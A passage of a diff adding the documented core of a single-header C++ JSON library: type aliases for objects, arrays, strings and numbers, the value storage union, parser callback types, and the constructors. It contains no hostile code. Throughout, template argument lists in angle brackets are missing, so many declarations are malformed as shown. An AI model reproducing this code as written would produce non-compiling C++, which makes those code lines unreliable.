(e.g., `std::map` or + `std::unordered_map`) + @tparam StringType the type of the keys or names (e.g., `std::string`). + The comparison function `std::less` is used to order elements + inside the container. + @tparam AllocatorType the allocator to use for objects (e.g., + `std::allocator`) + + #### Default type + + With the default values for @a ObjectType (`std::map`), @a StringType + (`std::string`), and @a AllocatorType (`std::allocator`), the default + value for @a object_t is: + + @code {.cpp} + std::map< + std::string, // key_type + basic_json, // value_type + std::less, // key_compare + std::allocator> // allocator_type + > + @endcode + + #### Behavior + + The choice of @a object_t influences the behavior of the JSON class. With + the default type, objects have the following behavior: + + - When all names are unique, objects will be interoperable in the sense + that all software implementations receiving that object will agree on + the name-value mappings. + - When the names within an object are not unique, later stored name/value + pairs overwrite previously stored name/value pairs, leaving the used + names unique. For instance, `{"key": 1}` and `{"key": 2, "key": 1}` will + be treated as equal and both stored as `{"key": 1}`. + - Internally, name/value pairs are stored in lexicographical order of the + names. Objects will also be serialized (see @ref dump) in this order. + For instance, `{"b": 1, "a": 2}` and `{"a": 2, "b": 1}` will be stored + and serialized as `{"a": 2, "b": 1}`. + - When comparing objects, the order of the name/value pairs is irrelevant. + This makes objects interoperable in the sense that they will not be + affected by these differences. For instance, `{"b": 1, "a": 2}` and + `{"a": 2, "b": 1}` will be treated as equal. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the maximum depth of nesting. + + In this class, the object's limit of nesting is not constraint explicitly. + However, a maximum depth of nesting may be introduced by the compiler or + runtime environment. A theoretical limit can be queried by calling the + @ref max_size function of a JSON object. + + #### Storage + + Objects are stored as pointers in a @ref basic_json type. That is, for any + access to object values, a pointer of type `object_t*` must be + dereferenced. + + @sa @ref array_t -- type for an array value + + @since version 1.0.0 + + @note The order name/value pairs are added to the object is *not* + preserved by the library. Therefore, iterating an object may return + name/value pairs in a different order than they were originally stored. In + fact, keys will be traversed in alphabetical order as `std::map` with + `std::less` is used by default. Please note this behavior conforms to [RFC + 7159](http://rfc7159.net/rfc7159), because any order implements the + specified "unordered" nature of JSON objects. + */ + using object_t = ObjectType, + AllocatorType>>; + + /*! + @brief a type for an array + + [RFC 7159](http://rfc7159.net/rfc7159) describes JSON arrays as follows: + > An array is an ordered sequence of zero or more values. + + To store objects in C++, a type is defined by the template parameters + explained below. + + @tparam ArrayType container type to store arrays (e.g., `std::vector` or + `std::list`) + @tparam AllocatorType allocator to use for arrays (e.g., `std::allocator`) + + #### Default type + + With the default values for @a ArrayType (`std::vector`) and @a + AllocatorType (`std::allocator`), the default value for @a array_t is: + + @code {.cpp} + std::vector< + basic_json, // value_type + std::allocator // allocator_type + > + @endcode + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the maximum depth of nesting. + + In this class, the array's limit of nesting is not constraint explicitly. + However, a maximum depth of nesting may be introduced by the compiler or + runtime environment. A theoretical limit can be queried by calling the + @ref max_size function of a JSON array. + + #### Storage + + Arrays are stored as pointers in a @ref basic_json type. That is, for any + access to array values, a pointer of type `array_t*` must be dereferenced. + + @sa @ref object_t -- type for an object value + + @since version 1.0.0 + */ + using array_t = ArrayType>; + + /*! + @brief a type for a string + + [RFC 7159](http://rfc7159.net/rfc7159) describes JSON strings as follows: + > A string is a sequence of zero or more Unicode characters. + + To store objects in C++, a type is defined by the template parameter + described below. Unicode values are split by the JSON class into + byte-sized characters during deserialization. + + @tparam StringType the container to store strings (e.g., `std::string`). + Note this container is used for keys/names in objects, see @ref object_t. + + #### Default type + + With the default values for @a StringType (`std::string`), the default + value for @a string_t is: + + @code {.cpp} + std::string + @endcode + + #### Encoding + + Strings are stored in UTF-8 encoding. Therefore, functions like + `std::string::size()` or `std::string::length()` return the number of + bytes in the string rather than the number of characters or glyphs. + + #### String comparison + + [RFC 7159](http://rfc7159.net/rfc7159) states: + > Software implementations are typically required to test names of object + > members for equality. Implementations that transform the textual + > representation into sequences of Unicode code units and then perform the + > comparison numerically, code unit by code unit, are interoperable in the + > sense that implementations will agree in all cases on equality or + > inequality of two strings. For example, implementations that compare + > strings with escaped characters unconverted may incorrectly find that + > `"a\\b"` and `"a\u005Cb"` are not equal. + + This implementation is interoperable as it does compare strings code unit + by code unit. + + #### Storage + + String values are stored as pointers in a @ref basic_json type. That is, + for any access to string values, a pointer of type `string_t*` must be + dereferenced. + + @since version 1.0.0 + */ + using string_t = StringType; + + /*! + @brief a type for a boolean + + [RFC 7159](http://rfc7159.net/rfc7159) implicitly describes a boolean as a + type which differentiates the two literals `true` and `false`. + + To store objects in C++, a type is defined by the template parameter @a + BooleanType which chooses the type to use. + + #### Default type + + With the default values for @a BooleanType (`bool`), the default value for + @a boolean_t is: + + @code {.cpp} + bool + @endcode + + #### Storage + + Boolean values are stored directly inside a @ref basic_json type. + + @since version 1.0.0 + */ + using boolean_t = BooleanType; + + /*! + @brief a type for a number (integer) + + [RFC 7159](http://rfc7159.net/rfc7159) describes numbers as follows: + > The representation of numbers is similar to that used in most + > programming languages. A number is represented in base 10 using decimal + > digits. It contains an integer component that may be prefixed with an + > optional minus sign, which may be followed by a fraction part and/or an + > exponent part. Leading zeros are not allowed. (...) Numeric values that + > cannot be represented in the grammar below (such as Infinity and NaN) + > are not permitted. + + This description includes both integer and floating-point numbers. + However, C++ allows more precise storage if it is known whether the number + is a signed integer, an unsigned integer or a floating-point number. + Therefore, three different types, @ref number_integer_t, @ref + number_unsigned_t and @ref number_float_t are used. + + To store integer numbers in C++, a type is defined by the template + parameter @a NumberIntegerType which chooses the type to use. + + #### Default type + + With the default values for @a NumberIntegerType (`int64_t`), the default + value for @a number_integer_t is: + + @code {.cpp} + int64_t + @endcode + + #### Default behavior + + - The restrictions about leading zeros is not enforced in C++. Instead, + leading zeros in integer literals lead to an interpretation as octal + number. Internally, the value will be stored as decimal number. For + instance, the C++ integer literal `010` will be serialized to `8`. + During deserialization, leading zeros yield an error. + - Not-a-number (NaN) values will be serialized to `null`. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the range and precision of numbers. + + When the default type is used, the maximal integer number that can be + stored is `9223372036854775807` (INT64_MAX) and the minimal integer number + that can be stored is `-9223372036854775808` (INT64_MIN). Integer numbers + that are out of range will yield over/underflow when used in a + constructor. During deserialization, too large or small integer numbers + will be automatically be stored as @ref number_unsigned_t or @ref + number_float_t. + + [RFC 7159](http://rfc7159.net/rfc7159) further states: + > Note that when such software is used, numbers that are integers and are + > in the range \f$[-2^{53}+1, 2^{53}-1]\f$ are interoperable in the sense + > that implementations will agree exactly on their numeric values. + + As this range is a subrange of the exactly supported range [INT64_MIN, + INT64_MAX], this class's integer type is interoperable. + + #### Storage + + Integer number values are stored directly inside a @ref basic_json type. + + @sa @ref number_float_t -- type for number values (floating-point) + + @sa @ref number_unsigned_t -- type for number values (unsigned integer) + + @since version 1.0.0 + */ + using number_integer_t = NumberIntegerType; + + /*! + @brief a type for a number (unsigned) + + [RFC 7159](http://rfc7159.net/rfc7159) describes numbers as follows: + > The representation of numbers is similar to that used in most + > programming languages. A number is represented in base 10 using decimal + > digits. It contains an integer component that may be prefixed with an + > optional minus sign, which may be followed by a fraction part and/or an + > exponent part. Leading zeros are not allowed. (...) Numeric values that + > cannot be represented in the grammar below (such as Infinity and NaN) + > are not permitted. + + This description includes both integer and floating-point numbers. + However, C++ allows more precise storage if it is known whether the number + is a signed integer, an unsigned integer or a floating-point number. + Therefore, three different types, @ref number_integer_t, @ref + number_unsigned_t and @ref number_float_t are used. + + To store unsigned integer numbers in C++, a type is defined by the + template parameter @a NumberUnsignedType which chooses the type to use. + + #### Default type + + With the default values for @a NumberUnsignedType (`uint64_t`), the + default value for @a number_unsigned_t is: + + @code {.cpp} + uint64_t + @endcode + + #### Default behavior + + - The restrictions about leading zeros is not enforced in C++. Instead, + leading zeros in integer literals lead to an interpretation as octal + number. Internally, the value will be stored as decimal number. For + instance, the C++ integer literal `010` will be serialized to `8`. + During deserialization, leading zeros yield an error. + - Not-a-number (NaN) values will be serialized to `null`. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the range and precision of numbers. + + When the default type is used, the maximal integer number that can be + stored is `18446744073709551615` (UINT64_MAX) and the minimal integer + number that can be stored is `0`. Integer numbers that are out of range + will yield over/underflow when used in a constructor. During + deserialization, too large or small integer numbers will be automatically + be stored as @ref number_integer_t or @ref number_float_t. + + [RFC 7159](http://rfc7159.net/rfc7159) further states: + > Note that when such software is used, numbers that are integers and are + > in the range \f$[-2^{53}+1, 2^{53}-1]\f$ are interoperable in the sense + > that implementations will agree exactly on their numeric values. + + As this range is a subrange (when considered in conjunction with the + number_integer_t type) of the exactly supported range [0, UINT64_MAX], + this class's integer type is interoperable. + + #### Storage + + Integer number values are stored directly inside a @ref basic_json type. + + @sa @ref number_float_t -- type for number values (floating-point) + @sa @ref number_integer_t -- type for number values (integer) + + @since version 2.0.0 + */ + using number_unsigned_t = NumberUnsignedType; + + /*! + @brief a type for a number (floating-point) + + [RFC 7159](http://rfc7159.net/rfc7159) describes numbers as follows: + > The representation of numbers is similar to that used in most + > programming languages. A number is represented in base 10 using decimal + > digits. It contains an integer component that may be prefixed with an + > optional minus sign, which may be followed by a fraction part and/or an + > exponent part. Leading zeros are not allowed. (...) Numeric values that + > cannot be represented in the grammar below (such as Infinity and NaN) + > are not permitted. + + This description includes both integer and floating-point numbers. + However, C++ allows more precise storage if it is known whether the number + is a signed integer, an unsigned integer or a floating-point number. + Therefore, three different types, @ref number_integer_t, @ref + number_unsigned_t and @ref number_float_t are used. + + To store floating-point numbers in C++, a type is defined by the template + parameter @a NumberFloatType which chooses the type to use. + + #### Default type + + With the default values for @a NumberFloatType (`double`), the default + value for @a number_float_t is: + + @code {.cpp} + double + @endcode + + #### Default behavior + + - The restrictions about leading zeros is not enforced in C++. Instead, + leading zeros in floating-point literals will be ignored. Internally, + the value will be stored as decimal number. For instance, the C++ + floating-point literal `01.2` will be serialized to `1.2`. During + deserialization, leading zeros yield an error. + - Not-a-number (NaN) values will be serialized to `null`. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) states: + > This specification allows implementations to set limits on the range and + > precision of numbers accepted. Since software that implements IEEE + > 754-2008 binary64 (double precision) numbers is generally available and + > widely used, good interoperability can be achieved by implementations + > that expect no more precision or range than these provide, in the sense + > that implementations will approximate JSON numbers within the expected + > precision. + + This implementation does exactly follow this approach, as it uses double + precision floating-point numbers. Note values smaller than + `-1.79769313486232e+308` and values greater than `1.79769313486232e+308` + will be stored as NaN internally and be serialized to `null`. + + #### Storage + + Floating-point number values are stored directly inside a @ref basic_json + type. + + @sa @ref number_integer_t -- type for number values (integer) + + @sa @ref number_unsigned_t -- type for number values (unsigned integer) + + @since version 1.0.0 + */ + using number_float_t = NumberFloatType; + + /// @} + + private: + + /// helper for exception-safe object creation + template + static T* create(Args&& ... args) + { + AllocatorType alloc; + auto deleter = [&](T * object) + { + alloc.deallocate(object, 1); + }; + std::unique_ptr object(alloc.allocate(1), deleter); + alloc.construct(object.get(), std::forward(args)...); + assert(object != nullptr); + return object.release(); + } + + //////////////////////// + // JSON value storage // + //////////////////////// + + /*! + @brief a JSON value + + The actual storage for a JSON value of the @ref basic_json class. This + union combines the different storage types for the JSON value types + defined in @ref value_t. + + JSON type | value_t type | used type + --------- | --------------- | ------------------------ + object | object | pointer to @ref object_t + array | array | pointer to @ref array_t + string | string | pointer to @ref string_t + boolean | boolean | @ref boolean_t + number | number_integer | @ref number_integer_t + number | number_unsigned | @ref number_unsigned_t + number | number_float | @ref number_float_t + null | null | *no value is stored* + + @note Variable-length types (objects, arrays, and strings) are stored as + pointers. The size of the union should not exceed 64 bits if the default + value types are used. + + @since version 1.0.0 + */ + union json_value + { + /// object (stored with pointer to save storage) + object_t* object; + /// array (stored with pointer to save storage) + array_t* array; + /// string (stored with pointer to save storage) + string_t* string; + /// boolean + boolean_t boolean; + /// number (integer) + number_integer_t number_integer; + /// number (unsigned integer) + number_unsigned_t number_unsigned; + /// number (floating-point) + number_float_t number_float; + + /// default constructor (for null values) + json_value() = default; + /// constructor for booleans + json_value(boolean_t v) noexcept : boolean(v) {} + /// constructor for numbers (integer) + json_value(number_integer_t v) noexcept : number_integer(v) {} + /// constructor for numbers (unsigned) + json_value(number_unsigned_t v) noexcept : number_unsigned(v) {} + /// constructor for numbers (floating-point) + json_value(number_float_t v) noexcept : number_float(v) {} + /// constructor for empty values of a given type + json_value(value_t t) + { + switch (t) + { + case value_t::object: + { + object = create(); + break; + } + + case value_t::array: + { + array = create(); + break; + } + + case value_t::string: + { + string = create(""); + break; + } + + case value_t::boolean: + { + boolean = boolean_t(false); + break; + } + + case value_t::number_integer: + { + number_integer = number_integer_t(0); + break; + } + + case value_t::number_unsigned: + { + number_unsigned = number_unsigned_t(0); + break; + } + + case value_t::number_float: + { + number_float = number_float_t(0.0); + break; + } + + case value_t::null: + { + break; + } + + default: + { + if (t == value_t::null) + { + JSON_THROW(std::domain_error("961c151d2e87f2686a955a9be24d316f1362bf21 2.1.1")); // LCOV_EXCL_LINE + } + break; + } + } + } + + /// constructor for strings + json_value(const string_t& value) + { + string = create(value); + } + + /// constructor for objects + json_value(const object_t& value) + { + object = create(value); + } + + /// constructor for arrays + json_value(const array_t& value) + { + array = create(value); + } + }; + + /*! + @brief checks the class invariants + + This function asserts the class invariants. It needs to be called at the + end of every constructor to make sure that created objects respect the + invariant. Furthermore, it has to be called each time the type of a JSON + value is changed, because the invariant expresses a relationship between + @a m_type and @a m_value. + */ + void assert_invariant() const + { + assert(m_type != value_t::object or m_value.object != nullptr); + assert(m_type != value_t::array or m_value.array != nullptr); + assert(m_type != value_t::string or m_value.string != nullptr); + } + + public: + ////////////////////////// + // JSON parser callback // + ////////////////////////// + + /*! + @brief JSON callback events + + This enumeration lists the parser events that can trigger calling a + callback function of type @ref parser_callback_t during parsing. + + @image html callback_events.png "Example when certain parse events are triggered" + + @since version 1.0.0 + */ + enum class parse_event_t : uint8_t + { + /// the parser read `{` and started to process a JSON object + object_start, + /// the parser read `}` and finished processing a JSON object + object_end, + /// the parser read `[` and started to process a JSON array + array_start, + /// the parser read `]` and finished processing a JSON array + array_end, + /// the parser read a key of a value in an object + key, + /// the parser finished reading a JSON value + value + }; + + /*! + @brief per-element parser callback type + + With a parser callback function, the result of parsing a JSON text can be + influenced. When passed to @ref parse(std::istream&, const + parser_callback_t) or @ref parse(const CharT, const parser_callback_t), + it is called on certain events (passed as @ref parse_event_t via parameter + @a event) with a set recursion depth @a depth and context JSON value + @a parsed. The return value of the callback function is a boolean + indicating whether the element that emitted the callback shall be kept or + not. + + We distinguish six scenarios (determined by the event type) in which the + callback function can be called. The following table describes the values + of the parameters @a depth, @a event, and @a parsed. + + parameter @a event | description | parameter @a depth | parameter @a parsed + ------------------ | ----------- | ------------------ | ------------------- + parse_event_t::object_start | the parser read `{` and started to process a JSON object | depth of the parent of the JSON object | a JSON value with type discarded + parse_event_t::key | the parser read a key of a value in an object | depth of the currently parsed JSON object | a JSON string containing the key + parse_event_t::object_end | the parser read `}` and finished processing a JSON object | depth of the parent of the JSON object | the parsed JSON object + parse_event_t::array_start | the parser read `[` and started to process a JSON array | depth of the parent of the JSON array | a JSON value with type discarded + parse_event_t::array_end | the parser read `]` and finished processing a JSON array | depth of the parent of the JSON array | the parsed JSON array + parse_event_t::value | the parser finished reading a JSON value | depth of the value | the parsed JSON value + + @image html callback_events.png "Example when certain parse events are triggered" + + Discarding a value (i.e., returning `false`) has different effects + depending on the context in which function was called: + + - Discarded values in structured types are skipped. That is, the parser + will behave as if the discarded value was never read. + - In case a value outside a structured type is skipped, it is replaced + with `null`. This case happens if the top-level element is skipped. + + @param[in] depth the depth of the recursion during parsing + + @param[in] event an event of type parse_event_t indicating the context in + the callback function has been called + + @param[in,out] parsed the current intermediate parse result; note that + writing to this value has no effect for parse_event_t::key events + + @return Whether the JSON value which called the function during parsing + should be kept (`true`) or not (`false`). In the latter case, it is either + skipped completely or replaced by an empty discarded object. + + @sa @ref parse(std::istream&, parser_callback_t) or + @ref parse(const CharT, const parser_callback_t) for examples + + @since version 1.0.0 + */ + using parser_callback_t = std::function; + + + ////////////////// + // constructors // + ////////////////// + + /// @name constructors and destructors + /// Constructors of class @ref basic_json, copy/move constructor, copy + /// assignment, static functions creating objects, and the destructor. + /// @{ + + /*! + @brief create an empty value with a given type + + Create an empty JSON value with a given type. The value will be default + initialized with an empty value which depends on the type: + + Value type | initial value + ----------- | ------------- + null | `null` + boolean | `false` + string | `""` + number | `0` + object | `{}` + array | `[]` + + @param[in] value_type the type of the value to create + + @complexity Constant. + + @throw std::bad_alloc if allocation for object, array, or string value + fails + + @liveexample{The following code shows the constructor for different @ref + value_t values,basic_json__value_t} + + @since version 1.0.0 + */ + basic_json(const value_t value_type) + : m_type(value_type), m_value(value_type) + { + assert_invariant(); + } + + /*! + @brief create a null object + + Create a `null` JSON value. It either takes a null pointer as parameter + (explicitly creating `null`) or no parameter (implicitly creating `null`). + The passed null pointer itself is not read -- it is only used to choose + the right constructor. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this constructor never throws + exceptions. + + @liveexample{The following code shows the constructor with and without a + null pointer parameter.,basic_json__nullptr_t} + + @since version 1.0.0 + */ + basic_json(std::nullptr_t = nullptr) noexcept + : basic_json(value_t::null) + { + assert_invariant(); + } + + /*! + @brief create a JSON value + + This is a "catch all" constructor for all compatible JSON types; that is, + types for which a `to_json()` method exsits. The constructor forwards the + parameter @a val to that method (to `json_serializer::to_json` method + with `U = uncvref_t`, to be exact). + + Template type @a CompatibleType includes, but is not limited to, the + following types: + - **arrays**: @ref array_t and all kinds of compatible containers such as + `std::vector`, `std::deque`, `std::list`, `std::forward_list`, + `std::array`, `std::set`, `std::unordered_set`, `std::multiset`, and + `unordered_multiset` with a `value_type` from which a @ref basic_json + value can be constructed. + - **objects**: @ref object_t and all kinds of compatible associative + containers such as `std::map`, `std::unordered_map`, `std::multimap`, + and `std::unordered_multimap` with a `key_type` compatible to + @ref string_t and a `value_type` from which a @ref basic_json value can + be constructed. + - **strings**: @ref string_t, string literals, and all compatible string + containers can be used. + - **numbers**: @ref number_integer_t, @ref number_unsigned_t, + @ref number_float_t, and all convertible number types such as `int`, + `size_t`, `int64_t`, `float` or `double` can be used. + - **boolean**: @ref boolean_t / `bool` can be used. + + See the examples below. + + @tparam CompatibleType a type such that: + - @a CompatibleType is not derived from `std::istream`, + - @a CompatibleType is not @ref basic_json (to avoid hijacking copy/move + constructors), + - @a CompatibleType is not a @ref basic_json nested type (e.g., + @ref json_pointer, @ref iterator, etc ...) + - @ref @ref json_serializer has a + `to_json(basic_json_t&, CompatibleType&&)` method + + @tparam U = `uncvref_t` + + @param[in] val the value to be forwarded + + @complexity Usually linear in the size of the passed @a val, also + depending on the implementation of the called `to_json()` + method. + + @throw what `json_serializer::to_json()` throws + + @liveexample{The following code shows the constructor with several + compatible types.,basic_json__CompatibleType} + + @since version 2.1.0 + */ + template, + detail::enable_if_t::value and + not std::is_same::value and + not detail::is_basic_json_nested_type< + basic_json_t, U>::value and + detail::has_to_json::value, + int> = 0> + basic_json(CompatibleType && val) noexcept(noexcept(JSONSerializer::to_json( + std::declval(), std::forward(val)))) + { + JSONSerializer::to_json(*this, std::forward(val)); + assert_invariant(); + } + + /*! + @brief create a container (array or object) from an initializer list + + Creates a JSON value of type array or object from the passed initializer + list @a init. In case @a type_deduction is `true` (default), the type of + the JSON value to be created is deducted from the initializer list @a init + according to the following rules: + + 1. If the list is empty, an empty JSON object value `{}` is created. + 2. If the list consists of pairs whose first element is a string, a JSON + object value is created where the first elements of the pairs are + treated as keys and the second elements are as values. + 3. In all other cases, an array is created. + + The rules aim to create the best fit between a C++ initializer list and + JSON values. The rationale is as follows: + + 1. The empty initializer list is written as `{}` which is exactly an empty + JSON object. + 2. C++ has now way of describing mapped types other than to list a list of + pairs. As JSON requires that keys must be of type string, rule 2 is the + weakest constraint one can pose on initializer lists to interpret them + as an object. + 3. In all other cases, the initializer list could not be interpreted as + JSON object type, so interpreting it as JSON array type is safe. + + With the rules described above, the following JSON values cannot be + expressed by an initializer list: + + - the empty array (`[]`): use @ref array(std::initializer_list) + with an empty initializer list in this case + - arrays whose elements satisfy rule 2: use @ref + array(std::initializer_list) with the same initializer list + in this case + + @note When used without parentheses around an empty initializer list, @ref + basic_json() is called instead of this function, yielding the JSON null + value. + + @param[in] init initializer list with JSON values + + @param[in] type_deduction internal parameter; when set to `true`, the type + of the JSON value is deducted from the initializer list @a init; when set + to `false`, the type provided via @a manual_type is forced. This mode is + used by the functions @ref array(std::initializer_list) and + @ref object(std::initializer_list). + + @param[in] manual_type internal parameter; when @a type_deduction is set + to `false`, the created JSON value will use the provided type (only @ref + value_t::array and @ref value_t::object are valid); when @a type_deduction + is set to `true`, this parameter has no effect + + @throw std::domain_error if @a type_deduction is `false`, @a manual_type + is `value_t::object`, but @a init contains an element which is not a pair + whose first element is a string; example: `"cannot create object from + initializer list"` + + @complexity Linear in the size of the initializer list @a init. + + @liveexample{The example below shows how JSON values are created from + initializer lists.,basic_json__list_init_t} + + @sa @ref array(std::initializer_list) -- create a JSON array + value from an initializer list + @sa @ref object(std::initializer_list) -- create a JSON object + value from an initializer list + + @since version 1.0.0 + */ + basic_json(std::initializer_list init, + bool type_deduction = true, + value_t manual_type = value_t::array) + { + // check if each element is an array with two elements whose first + // element is a string + bool is_an_object = std::all_of(init.begin(), init.end(), + [](const basic_json & element) + { + return element.is_array() and element.size() == 2 and element[0].is_string(); + }); + + // adjust type if type deduction is not wanted + if (not type_deduction) + { + // if array is wanted, do not create an object though possible + if (manual_type == value_t::array) + { + is_an_object = false; + } + + // if object is wanted but impossible, throw an exception + if (manual_type == value_t::object and not is_an_object) + { + JSON_THROW(std::domain_error("cannot create object from initializer list")); + } + } + + if (is_an_object) + { + // the initializer list is a list of pairs -> create object + m_type = value_t::object; + m_value = value_t::object; + + std::for_each(init.begin(), init.end(), [this](const basic_json & element) + { + m_value.object->emplace(*(element[0].m_value.string), element[1]); + }); + } + else + { + // the initializer list describes an array -> create array + m_type = value_t::array; + m_value.array = create(init); + } + + assert_invariant(); + } + + /*! + @brief explicitly create an array from an initializer list + + Creates a JSON array value from a given initializer list. That is, given a + list of values `a, b, c`, creates the JSON value `[a, b, c]`. If the + initializer list is empty, the empty array `[]` is created. + + @note This function is only needed to express two edge cases that cannot + be realized with the initializer list constructor (@ref + basic_json(std::initializer_list, bool, value_t)). These cases + are: + 1. creating an array whose elements are all pairs whose first element is a + string -- in this case, the initializer list constructor would create an + object, taking the first elements as keys + 2. creating an empty array -- passing the empty initializer list to the + initializer list constructor yields an empty object + + @param[in] init initializer list with JSON values to create an array from + (optional) + + @return JSON array value + + @complexity Linear in the size of @a init. + + @liveexample{The following code shows an example for the `array` + function.,array} + + @sa @ref basic_json(std::initializer_list, bool, value_t) -- + create a JSON value from an initializer list + @sa @ref object(std::initializer_list) -- create a JSON object + value from an initializer list + + @since version 1.0.0 + */ + static basic_json array(std::initializer_list init = + std::initializer_list()) + { + return basic_json(init, false, value_t::array); + } + + /*! + @brief explicitly create an object from an initializer list + + Creates a JSON object value from a given initializer list. The initializer + lists elements must be pairs, and their first elements must be strings. If + the initializer list is empty, the empty object `{}` is created. + + @note This function is only added for symmetry reasons. In contrast to the + related function @ref array(std::initializer_list), there are + no cases which can only be expressed by this function. That is, any + initializer list @a init can also be passed to the initializer list + constructor @ref basic_json(std::initializer_list, bool, + value_t). + + @param[in] init initializer list to create an object from (optional) + + @return JSON object value + + @throw std::domain_error if @a init is not a pair whose first elements are + strings; thrown by + @ref basic_json(std::initializer_list, bool, value_t) + + @complexity Linear in the size of @a init. + + @liveexample{The following code shows an example for the `object` + function.,object} + + @sa @ref basic_json(std::initializer_list, bool, value_t) -- + create a JSON value from an initializer list + @sa @ref array(std::initializer_list) -- create a JSON array + value from an initializer list + + @since version 1.0.0 + */ + static basic_json object(std::initializer_list init = + std::initializer_list()) + { + return basic_json(init, false, value_t::object); + } + + /*! + @brief construct an array with count copies of given value + + Constructs a JSON array value by creating @a cnt copies of a passed value. + In case @a cnt is `0`, an empty array is created. As postcondition, + `std::distance(begin(),end()) == cnt` holds. + + @param[in] cnt the number of JSON copies of @a val to create + @param[in] val the JSON value to copy + + @complexity Linear in @a cnt. + + @liveexample{The following code shows examples for the @ref + basic_json(size_type\, const basic_json&) + constructor.,basic_json__size_type_basic_json} + + @since version 1.0.0 + */ + basic_json(size_type cnt, const basic_json& val) + : m_type(value_t::array) + { + m_value.array = create(cnt, val); + assert_invariant(); + } + + /*! + @brief construct a JSON container given an iterator range + + Constructs the JSON value with the contents of the range `[first, last)`. + The semantics depends on the different types a JSON value can have: + - In case of primitive types (number, boolean, or string), @a first must + be `begin()` and @a last must be `end()`. In this case, the value is + copied. Otherwise, std::out_of_range is thrown. + - In case of structured types (array, object), the constructor behaves as + similar versions for `std::vector`. + - In case of a null type, std::domain_error is thrown. + + @tparam InputIT an input iterator type (@ref iterator or @ref + const_iterator) + + @param[in] first begin of the range to copy from (included) + @param[in] last end of the range to copy from (excluded) + + @pre Iterators @a first and @a last must be initialized. **This + precondition is enforced with an assertion.** + + @throw std::domain_error if iterators are not compatible; that is, do not + belong to the same JSON value; example: `"iterators are not compatible"` + @throw std::out_of_range if iterators are for a primitive type (number, + boolean, or string) where an out of range error can be detected easily; + example: `"iterators out of range"` + @throw std::bad_alloc if allocation for object, array, or string fails + @throw std::domain_error if called with a null value; example: `"cannot + use construct with iterators from null"` + + @complexity Linear in distance between @a first and @a last. + + @liveexample{The example below shows several ways to create JSON values by + specifying a subrange with iterators.,basic_json__InputIt_InputIt} + + @since version 1.0.0 + */ + template::value or + std::is_same::value, int>::type = 0> + basic_json(InputIT first, InputIT last) + { + assert(first.m_object != nullptr); + assert(last.m_object != nullptr); + + // make sure iterator fits the current value + if (first.m_object != last.m_object) + { + JSON_THROW(std::domain_error("iterators are not compatible")); + } + + // copy type from first iterator + m_type = first.m_object->m_type; + + // check if iterator range is complete for primitive values + switch (m_type) + { + case value_t::boolean: + case value_t::number_float: + case value_t::number_integer: + case value_t::number_unsigned: + case value_t::string: + { + if (not first.m_it.primitive_iterator.is_begin() or not last.m_it.primitive_iterator.is_end()) + { + JSON_THROW(std::out_of_range("iterators out of range")); + } + break; + } + + default: + { + break; + } + } + + switch (m_type) + { + case value_t::number_integer: + { + m_value.number_integer = first.m_object->m_value.number_integer; + break; + } + + case value_t::number_unsigned: + { + m_value.number_unsigned = first.m_object->m_value.number_unsigned; + break; + } + + case value_t::number_float: + { + m_value.number_float = first.m_object->m_value.number_float; + break; + } + + case value_t::boolean: + { + m_value.boolean = first.m_object->m_value.boolean; + break; + } + + case value_t::string: + { + m_value = *first.m_object->m_value.string; + break; + } + + case value_t::object: + { + m_value.object = create(first.m_it.object_iterator, + last.m_it.object_iterator); + break; + } + + case value_t::array: + { + m_value.array = create(first.m_it.array_iterator, + last.m_it.array_iterator); + break; + } + + default: + { + JSON_THROW(std::domain_error("cannot use construct with iterators from " + first.m_object->type_name())); + } + } + + assert_invariant(); + } + + /*! + @brief construct a JSON value given an input stream + + @param[in,out] i stream to read a serialized JSON value from + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the parser callback function + @a cb has a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + + @deprecated This constructor is deprecated and will be removed in version + 3.0.0 to unify the interface of the library. Deserialization will be + done by stream operators or by calling one of the `parse` functions, + e.g. @ref parse(std::istream&, const parser_callback_t). That is, calls + like `json j(i);` for an input stream @a i need to be replaced by + `json j = json::parse(i);`. See the example below. + + @liveexample{The example below demonstrates constructing a JSON value from + a `std::stringstream` with and without callback + function.,basic_json__istream} + + @since version 2.0.0, deprecated in version 2.0.3, to be removed in + version 3.0.0 + */ + JSON_DEPRECATED + explicit basic_json(std::istream& i, const parser_callback_t cb = nullptr) + { + *this = parser(i, cb).parse(); + assert_invariant(); + } + + /////////////////////////////////////// + // other constructors and destructor // + /////////////////////////////////////// + + /*! + @brief copy constructor + + Creates a copy of a given JSON value. + + @param[in] other the JSON value to copy + + @complexity Linear in the size of @a other. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is linear. + - As postcondition, it holds: `other == basic_json(other)`. + + @throw std::bad_alloc if allocation for object, array, or string fails. + + @liveexample{The following code shows an example for the copy + constructor.,basic_json__basic_json} + + @since version 1.0.0 + */ + basic_json(const basic_json& other) + : m_type(other.m_type) + { + // check of passed value is valid + other.assert_invariant(); + + switch (m_type) + { + case value_t::object: + { + m_value = *other.m_value.object; + break; + } + + case value_t::array: + { + m_value = *other.m_value.array; + break; + } + + case value_t::string: + { + m_value = *other.m_value.string; + break; + } + + case value_t::boolean: + { + m_value = other.m_value.boolean; + break; + } + + case value_t::number_integer: + { + m_value = other.m_value.number_integer; + break; + } + + case value_t::number_unsigned: + { + m_value = other.m_value.number_unsigned; + break; + } + + case value_t::number_float: + { + m_value = other.m_value.number_float; + break; + } + + default: + { + break; + } + } + + assert_invariant(); + } + + /*! + @brief move constructor + + Move constructor. Constructs a JSON value with the contents of the given + value @a other using move semantics. It "steals" the resources from @a + other and leaves it as JSON null value. + + @param[in,out] other value to move to this object + + @post @a other is a JSON null value + + @complexity Constant. + + @liveexample{The code below shows the move constructor explicitly called + via std::move.,basic_json__moveconstructor} + + @since version 1.0.0 + */ + basic_json(basic_json&& other) noexcept + : m_type(std::move(other.m_type)), + 